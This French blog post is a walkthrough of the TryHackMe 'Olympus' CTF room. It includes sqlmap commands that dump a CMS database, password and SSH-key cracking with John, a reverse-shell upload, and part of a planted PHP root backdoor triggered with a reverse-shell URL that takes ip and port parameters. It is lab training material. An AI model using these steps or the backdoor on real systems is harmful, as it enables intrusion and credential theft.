6

[TryHackme] – Olympus

6 min read

Views: 1160

4.5
(4)
TryHackMe Olympus

Lien : https://tryhackme.com/room/olympusroom

Auteur : https://tryhackme.com/p/G4vr0ch3

Difficulté : Moyenne


[Enumeration]

L’énumération de la machine à l’aide de nmap nous permet de découvrir 2 ports ouverts qui sont le 22 et le 80.

# nmap -A -T4 -p- 10.10.5.206

Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-21 14:08 GMT
Nmap scan report for 10.10.5.206
Host is up (0.066s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a:78:14:04:2c:df:25:fb:4e:a2:14:34:80:0b:85:39 (RSA)
|   256 8d:56:01:ca:55:de:e1:7c:64:04:ce:e6:f1:a5:c7:ac (ECDSA)
|_  256 1f:c1:be:3f:9c:e7:8e:24:33:34:a6:44:af:68:4c:3c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://olympus.thm

Ce qui nous permet donc de voir sur le scan que nous sommes redirigé vers http://olympus.thm, nous allons donc ajouter ce dernier dans notre fichier /etc/hosts :

echo '10.10.5.206 olympus.thm' | sudo tee -a /etc/hosts

En regardant le site de plus près nous obtenons cette page :

TryHackMe

Nous pouvons donc tenter d’énumérer ce site afin d’y découvrir des choses intéressantes à l’aide de gobuster :

# gobuster dir -u http://olympus.thm/ -t 30 -w /usr/share/Seclists/Discovery/Web-Content/common.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://olympus.thm/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/Seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/07/21 14:35:16 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/index.php            (Status: 200) [Size: 1948]
/javascript           (Status: 301) [Size: 315] [--> http://olympus.thm/javascript/]
/phpmyadmin           (Status: 403) [Size: 276]                                     
/server-status        (Status: 403) [Size: 276]                                     
/static               (Status: 301) [Size: 311] [--> http://olympus.thm/static/]    
/~webmaster           (Status: 301) [Size: 315] [--> http://olympus.thm/~webmaster/]

On peut donc voir que le dossier « ~webmaster » n’est pas commun et après vérification on obtient le CMS Victor CMS d’installé :


[CMS Exploit]

Nous trouvons donc une piste à l’aide de searchsploit :

searchsploit Victor CMS
TryHackMe

Après avoir récupéré l’exploit à l’aide de searchsploit :


L’exploit nous explique que le paramètre « search » est vulnérable à une injection SQL et pour l’exploiter nous utilisons sqlmap :

sqlmap -u "http://olympus.thm/~webmaster/search.php" --dbs --forms
TryHackMe Olympus
sqlmap -u "http://olympus.thm/~webmaster/search.php" --dbs --forms --tables -D olympus --dump

On obtiens donc énormément d’informations intéressantes et à noter de côté !

Voici le premier flag de la machine :


Et voici le hash de chaque utilisateur du CMS et que nous devons garder pour la suite :

Ainsi qu’une table « chats » très intéressante qui nous dit :

This looks great! I tested an upload and found the upload folder, but it seems the filename got changed somehow because I can’t download it back I know this is pretty cool. The IT guy used a random file name function to make it harder for attackers to access the uploaded files. He’s still working on it.


On trouve plus haut dans la table « users » un [email protected] qui nous amène donc à ajouter chat.olympus.thm dans notre fichier /etc/hosts et à l’analyser de plus près :


Nous tenterons donc d’utiliser les informations trouvées dans la base de données et pour ce faire nous allons utiliser John afin de cracker les passwords :

john hash --wordlist=/usr/share/wordlists/rockyou.txt

On trouve le mot de passe de l’utilisateur Prometheus et qui nous permet donc de se connecter à notre page de login :


Qui nous amène sur une page permettant d’upload un fichier et qui est liée aux informations présentes dans la table « chats » de la DB :

Ce qui nous permet d’upload un reverse shell mais malheureusement le nom du fichier est généré aléatoirement mais pas de soucis pour bypass ceci, il suffit de dump la DB à l’aide de SQLmap une nouvelle fois et de lire le nouveau nom de notre fichier :

sqlmap -u "http://olympus.thm/~webmaster/search.php" --dbs --forms --tables -D olympus --dump --fresh-queries

Et on trouve donc le nouveau nom de notre fichier qui nous permet d’obtenir un premier accès à la machine :

# http://chat.olympus.thm/uploads/156785861a33c70b6c4c04f591531ca8.php

[User]

On récupère donc le second flag de la machine ainsi qu’un message laissé de la part de Prometheus :


Après avoir listé les binaires SUID, on trouve donc un binaire peu commun « cputils » :

find / -perm -u=s -type f 2>/dev/null

Ce dernier permet donc de copier le contenu d’un fichier appartenant à Zeus vers un autre fichier :

Nous devons donc récupérer cette clé afin de se connecter à l’utilisateur Zeus via SSH :

chmod 400 id_rsa
ssh -i id_rsa [email protected]

Mais la clé est protégée par une passphrase que nous allons devoir trouver à l’aide de notre ami John :

/usr/share/john/ssh2john.py id_rsa > pass
john pass --wordlist=/usr/share/wordlists/rockyou.txt

On peut donc nous connecter en utilisant la passphrase :


[PrivESC]

Après énumération des users et groupes own par Zeus, nous obtenons :

find / -group zeus -print 2>/dev/null

Le contenu du fichier php semble fortement indiquer que Prometheus a mis en place une backdoor :

<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form name="auth" method="POST">Password: <input type="password" name="password" /></form>');

set_time_limit(0);

$host = htmlspecialchars("$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]", ENT_QUOTES, "UTF-8");
if(!isset($_GET["ip"]) || !isset($_GET["port"])) die("<h2><i>snodew reverse root shell backdoor</i></h2><h3>Usage:</h3>Locally: nc -vlp [port]</br>Remote: $host?ip=[destination of listener]&port=[listening port]");
$ip = $_GET["ip"]; $port = $_GET["port"];

$write_a = null;
$error_a = null;

$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";

[REDACTED]
?>

Nous accédons à cette interface sur l’adresse suivante en spécifiant l’adresse IP de la machine car le fichier index.php est le fichier qui redirige vers http://olympus.thm :

http://10.10.5.206/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php

Afin d’obtenir un shell nous rentrons donc le password présent dans le fichier php et activons notre reverse shell.

http://10.10.5.206/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=YOUR_IP&port=YOUR_PORT

Et bingo nous obtenons donc un shell en tant que root :


[BONUS]

Il nous reste donc à présent à trouver le dernier flag qui est présent dans /etc et l’avantage est que nous connaissons déjà le format du flag qui est « FLAG{«  :

grep -rni "flag{" /etc/

Quelle note mérite cet article ?

Average rating 4.5 / 5. Vote count: 4

No votes so far! Be the first to rate this post.

S’abonner
Notification pour
guest
6 Commentaires
Le plus ancien
Le plus récent Le plus populaire
Commentaires en ligne
Afficher tous les commentaires
Bosjr
Invité
Bosjr
2 années il y a

Bravo pour ce writeups clair

Thomas
Invité
Thomas
2 années il y a

Du bon travail comme d’habitude !

dra3fcs
Invité
dra3fcs
2 années il y a

Bravo, très bien expliqué.